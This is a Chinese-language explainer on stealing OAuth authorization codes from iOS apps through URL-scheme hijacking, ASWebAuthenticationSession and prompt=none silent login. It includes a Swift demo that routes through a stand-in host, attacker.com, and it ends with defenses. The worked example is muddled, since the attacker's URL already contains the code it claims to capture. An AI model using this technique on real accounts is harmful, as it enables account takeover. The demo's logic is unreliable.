简介
研究人员发现,很多流行的 iOS 应用存在安全漏洞,攻击者可以利用这些漏洞,通过劫持 URL Scheme 的方式,盗取用户的 OAuth 授权码,从而完全控制用户的账户。 这种攻击利用了 OAuth 协议的特性,以及 iOS 系统对自定义 URL Scheme 和 Safari 浏览器会话的处理方式。
简单来说,就是攻击者可以伪装成你的 App,骗取用户的授权码,然后冒充用户登录。
漏洞原理
-
OAuth 协议与移动应用授权: OAuth 是一种授权协议,允许用户授权第三方应用访问其在其他平台(如微信、QQ)上的数据,而无需共享密码。在移动应用中,OAuth 通常通过自定义 URL Scheme 实现跳转和授权。
-
自定义 URL Scheme: 允许开发者为自己的应用定义一个唯一的 URL Scheme,例如
myapp://。当用户点击一个以该 Scheme 开头的链接时,系统会自动打开对应的应用。- 例子: 你的 App 定义了
myapp://login,当用户在短信中点击这个链接时,你的 App 就会被打开,并进入登录页面。 - 潜在问题: 虽然苹果建议使用反向 DNS 作为 URL Scheme,例如
com.example.myapp://,但这并不能完全防止其他应用注册相同的 Scheme。如果多个应用注册了相同的 Scheme,系统将无法确定应该打开哪个应用,这为 URL Scheme 劫持创造了机会。
- 例子: 你的 App 定义了
-
ASWebAuthenticationSession: iOS 提供了一个名为
ASWebAuthenticationSession的 API,它允许应用在应用内打开一个浏览器窗口,并且这个浏览器窗口可以访问 Safari 浏览器的 Cookie。这意味着,如果用户在 Safari 中已经登录了某个网站,那么在ASWebAuthenticationSession中打开该网站时,用户也会自动登录。- 用途: 简化单点登录 (SSO) 体验。
- 风险: 如果使用不当,可能导致安全问题。
-
静默授权 (Silent Authentication): OAuth 协议支持一个
prompt=none参数,允许应用在用户不知情的情况下完成授权。如果用户已经登录,并且应用获得了授权,那么授权服务器可以直接返回授权码,而无需用户进行任何交互。- 场景: 在用户已经登录的情况下,应用可以自动获取授权,无需用户再次点击“允许”按钮。
- 风险: 如果被滥用,可能导致用户在不知情的情况下被恶意应用授权。
攻击步骤
- 攻击者创建一个恶意应用,并注册一个常见的 URL Scheme,例如
fb://(虽然现在 iOS 已经修复了直接劫持常用 URL Scheme 的问题,但攻击者仍然可以通过其他方式来利用 URL Scheme)。 - 恶意应用使用
ASWebAuthenticationSession打开一个网页,该网页会自动重定向到目标应用的 OAuth 授权端点,并附带prompt=none参数。 - 如果用户在 Safari 中已经登录了目标应用,并且之前已经授权过该应用,那么授权服务器会直接返回授权码,而无需用户进行任何交互。
- 由于
ASWebAuthenticationSession可以接收任何自定义 URL Scheme 的重定向,因此恶意应用可以截获到授权码,并用它来获取用户的访问令牌,从而控制用户的账户。
实际应用例子
假设有一个名为 "ExampleApp" 的应用,它使用 OAuth 协议,并通过自定义 URL Scheme exampleapp:// 进行授权。
- 用户在 Safari 中登录了 ExampleApp。
- 攻击者创建了一个名为 "EvilApp" 的恶意应用。
- EvilApp 使用
ASWebAuthenticationSession打开一个网页https://attacker.com/redirect?to=exampleapp://oauth/callback?code=XXX。 - 由于用户在 Safari 中已经登录了 ExampleApp,并且网页重定向到了
exampleapp://oauth/callback?code=XXX,因此 EvilApp 可以截获到授权码XXX。 - EvilApp 使用授权码
XXX获取用户的访问令牌,并冒充用户登录 ExampleApp。
Demo 代码 (Swift)
import AuthenticationServices
import SwiftUI
struct ContentView: View {
@State private var openedURL: URL?
@State private var accessToken: String = ""
// 替换为攻击者控制的 URL,该 URL 会重定向到目标应用的 URL Scheme
@State private var asWebAuthURL: String = "https://attacker.com/redirect?to=exampleapp://oauth/callback?code=XXX"
@State private var asWebAuthScheme: String = "exampleapp" // 目标应用的 URL Scheme
var body: some View {
VStack {
Text("Access Token: \(accessToken)")
.padding()
Button("Start ASWebAuthenticationSession") {
startASWebAuthenticationSession()
}
.padding()
if let url = openedURL {
Text("Opened URL: \(url.absoluteString)")
.padding()
}
}
}
private func startASWebAuthenticationSession() {
guard let authURL = URL(string: asWebAuthURL) else { return }
let session = ASWebAuthenticationSession(url: authURL, callbackURLScheme: asWebAuthScheme) { callbackURL, error in
if let callbackURL = callbackURL {
self.openedURL = callbackURL
if let code = self.extractCode(from: callbackURL) {
self.obtainAccessToken(using: code)
}
} else if let error = error {
print("Authentication error: \(error)")
}
}
session.presentationContextProvider = ViewController() // 确保你的 ViewController 遵循 ASWebAuthenticationPresentationContextProviding 协议
session.start()
}
// 假设 URL 格式为 exampleapp://oauth/callback?code=XXX
private func extractCode(from url: URL) -> String? {
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let queryItems = components.queryItems else {
return nil
}
for item in queryItems {
if item.name == "code", let code = item.value {
return code
}
}
return nil
}
private func obtainAccessToken(using code: String) {
// 在真实的场景中,你需要将 code 发送到你的服务器,然后由服务器来交换 Access Token
// 这里只是一个简单的示例
self.accessToken = "FakeAccessTokenForCode_\(code)"
}
}
// 确保你的 ViewController 遵循 ASWebAuthenticationPresentationContextProviding 协议
class ViewController: UIViewController, ASWebAuthenticationPresentationContextProviding {
func presentationAnchor(for session: ASWebAuthenticationSession) -> ASPresentationAnchor {
return self.view.window!
}
}
注意:
- 这段代码只是一个演示,用于说明 URL Scheme 劫持的原理。
- 在实际应用中,你需要替换
asWebAuthURL和asWebAuthScheme为目标应用的 URL 和 Scheme。 obtainAccessToken(using:)方法需要发送 code 到服务器进行验证,并交换 Access Token。
防御方法
- 使用通用链接 (Universal Links): 通用链接是苹果推荐的替代 URL Scheme 的方案。它使用标准的 HTTP/HTTPS 链接,并通过在你的网站上放置一个
apple-app-site-association文件来验证链接的所有权。这样可以防止其他应用劫持你的链接。 - 强制用户交互: 避免使用
prompt=none参数,强制用户进行交互,例如显示一个授权确认页面。 - 验证客户端: 按照 RFC 6819 的建议,对无法可靠验证的客户端,不要执行自动授权。